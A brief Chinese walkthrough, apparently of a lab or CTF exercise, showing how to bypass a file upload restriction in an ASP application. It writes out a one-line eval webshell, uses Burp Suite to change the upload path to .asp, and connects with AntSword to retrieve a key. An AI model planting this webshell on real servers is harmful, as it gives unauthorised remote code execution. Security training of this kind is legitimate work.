本文探讨了Web应用中的文件上传过程，包括上传限制与漏洞利用。提到了ASP错误代码ASP0104:80004005，并讨论了如何利用.asp文件进行代码注入，如使用一句话木马。还介绍了Burpsuite在安全测试中的应用，文件夹包含漏洞的利用，以及蚁剑(AntiShell)在数据添加和信息获取中的角色。
1.有上传文件的地方
2.上传一个大小为245kb的jpg文件
3.查询“ASP 0104 : 80004005”
4.上传.asp后缀的文件
5.编写一句话木马
<%eval request ("cmd")%>
文件名：xxx.txt或者xxx.jpg等等
6.打开burp suite
7.点击网页“确定”按钮
8.然后出现的界面
9.修改文件夹包含.asp(叫什么都行，1.asp或者upload/2.asp都可以)
10.点击“forward”
11.使用蚁剑添加数据
12.点击wwwroot，点击KTY… .asp,获得key
234
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
